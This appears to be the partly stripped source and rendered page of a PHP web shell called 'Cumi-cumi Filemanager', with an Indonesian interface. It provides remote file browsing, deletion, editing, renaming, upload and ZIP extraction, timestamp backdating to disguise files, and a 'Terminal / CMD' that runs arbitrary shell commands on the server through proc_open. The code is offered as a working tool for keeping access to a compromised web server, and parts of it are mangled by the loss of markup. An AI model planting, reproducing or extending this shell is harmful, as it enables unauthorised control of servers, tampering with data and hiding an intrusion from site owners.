🔐 Cumi-cumi Filemanager Login

= 1073741824) return round($s / 1073741824, 2) . ' GB'; if ($s >= 1048576) return round($s / 1048576, 2) . ' MB'; if ($s >= 1024) return round($s / 1024, 2) . ' KB'; return $s . ' B'; } if (isset($_GET['delete'])) { $target = realpath($path . '/' . $_GET['delete']); if (strpos($target, $path) === 0 && is_writable($target)) { if (is_file($target)) unlink($target); elseif (is_dir($target)) rmdir($target); } header("Location: ?path=" . urlencode($path)); exit; } if (isset($_POST['rename_from'], $_POST['rename_to'])) { $from = realpath($path . '/' . $_POST['rename_from']); $to = $path . '/' . basename($_POST['rename_to']); if (strpos($from, $path) === 0 && file_exists($from)) { rename($from, $to); } header("Location: ?path=" . urlencode($path)); exit; } if (isset($_POST['edit_date_file'], $_POST['new_date'])) { $target = realpath($path . '/' . $_POST['edit_date_file']); if (strpos($target, $path) === 0 && file_exists($target)) { $timestamp = strtotime($_POST['new_date']); if ($timestamp !== false) { touch($target, $timestamp); } } header("Location: ?path=" . urlencode($path)); exit; } if (isset($_POST['new_folder'])) { mkdir($path . '/' . basename($_POST['new_folder'])); header("Location: ?path=" . urlencode($path)); exit; } if (isset($_POST['new_file'])) { file_put_contents($path . '/' . basename($_POST['new_file']), ''); header("Location: ?path=" . urlencode($path)); exit; } if (isset($_FILES['upload'])) { move_uploaded_file($_FILES['upload']['tmp_name'], $path . '/' . basename($_FILES['upload']['name'])); header("Location: ?path=" . urlencode($path)); exit; } if (!empty($_FILES['uploads'])) { foreach ($_FILES['uploads']['name'] as $i => $name) { if ($_FILES['uploads']['error'][$i] === UPLOAD_ERR_OK) { $tmp = $_FILES['uploads']['tmp_name'][$i]; $dest = $path . '/' . basename($name); move_uploaded_file($tmp, $dest); } } header("Location: ?path=" . urlencode($path)); exit; } if (!empty($_FILES['zipfile']['name'])) { $zipName = $_FILES['zipfile']['name']; $tmpZip = $_FILES['zipfile']['tmp_name']; $destZip = $path . '/' . basename($zipName); if (move_uploaded_file($tmpZip, $destZip)) { $zip = new ZipArchive; if ($zip->open($destZip) === TRUE) { $zip->extractTo($path); $zip->close(); unlink($destZip); } } header("Location: ?path=" . urlencode($path)); exit; } if (isset($_POST['save_file'], $_POST['content'])) { $file = realpath($path . '/' . $_POST['save_file']); if (strpos($file, $path) === 0 && is_file($file)) { file_put_contents($file, $_POST['content']); } header("Location: ?path=" . urlencode($path)); exit; } $home_shell_path = realpath(dirname(__FILE__)); ?> Cumi-cumi Filemanager

Cumi-cumi Filemanager

berang berang bawa gelek berangkat lek !!!

🚪 Logout
Current Path: Home Shell'; foreach ($parts as $part) { if ($part === '') continue; $build .= '/' . $part; echo '/' . '' . htmlspecialchars($part) . ''; } ?>
Home Shell
⬆️ Keluar Dir"; ?>
NamaUkuranPermTanggalAksi
[DIR]
- e - d

Upload File

Upload Banyak File

Upload & Extract ZIP

Buat Folder

Buat File Kosong

Edit File:


⬅️ Kembali

Terminal / CMD

Tidak ada perintah."; } else { // Jika menggunakan whitelist, cek perintah pertama if ($USE_WHITELIST) { $parts = preg_split('/\s+/', $cmd); if (!in_array($parts[0], $WHITELIST)) { echo "
Perintah tidak diizinkan oleh whitelist.
"; return; } } // Pilih shell yang tersedia (cari bash dulu, fallback ke sh) $shell = '/bin/bash'; if (!is_executable($shell)) $shell = '/bin/sh'; // Bangun perintah: pindah ke path lalu jalankan shell -lc 'command' (2>&1 digabung) $safe_cd = 'cd ' . escapeshellarg($path) . ' 2>/dev/null && '; $run_cmd = $safe_cd . escapeshellcmd($shell) . ' -lc ' . escapeshellarg($cmd) . ' 2>&1'; // Persiapkan proc_open $descriptors = [ 0 => ['pipe', 'r'], // stdin 1 => ['pipe', 'w'], // stdout 2 => ['pipe', 'w'] // stderr (kadang digabung, tapi tetap ambil) ]; $process = @proc_open($run_cmd, $descriptors, $pipes, null, null); if (!is_resource($process)) { echo "
Gagal membuka proses. Pastikan server mengizinkan exec/proc_open.
"; } else { // non-blocking read stream_set_blocking($pipes[1], false); stream_set_blocking($pipes[2], false); $output = ''; $start = time(); $timed_out = false; // tutup stdin supaya proses tidak menunggu input fclose($pipes[0]); while (true) { $read = [$pipes[1], $pipes[2]]; $write = null; $except = null; // tunggu sampai ada data atau timeout kecil $num = stream_select($read, $write, $except, 1, 0); // baca dari pipes bila ada if ($num !== false && $num > 0) { foreach ($read as $r) { $chunk = stream_get_contents($r); if ($chunk !== false && $chunk !== '') { $output .= $chunk; // batasi ukuran output if (strlen($output) > $TERMINAL_MAX_OUTPUT) { $output = substr($output, 0, $TERMINAL_MAX_OUTPUT) . "\n\n[Output dipotong (terlalu besar)]"; break 2; } } } } // cek apakah proses sudah selesai $status = proc_get_status($process); if (!$status['running']) { // baca sisa output $output .= stream_get_contents($pipes[1]); $output .= stream_get_contents($pipes[2]); break; } // cek timeout if ((time() - $start) > $TERMINAL_TIMEOUT) { $timed_out = true; // hentikan proses proc_terminate($process, 9); $output .= "\n\n[Perintah dihentikan karena timeout setelah {$TERMINAL_TIMEOUT} detik]"; break; } // short sleep supaya CPU tidak penuh usleep(100000); } // tutup pipes & proses @fclose($pipes[1]); @fclose($pipes[2]); @proc_close($process); // tampilkan output (encode agar aman) echo "
";
            echo htmlspecialchars($output !== '' ? $output : "[Tidak ada output]");
            echo "
"; } } } ?>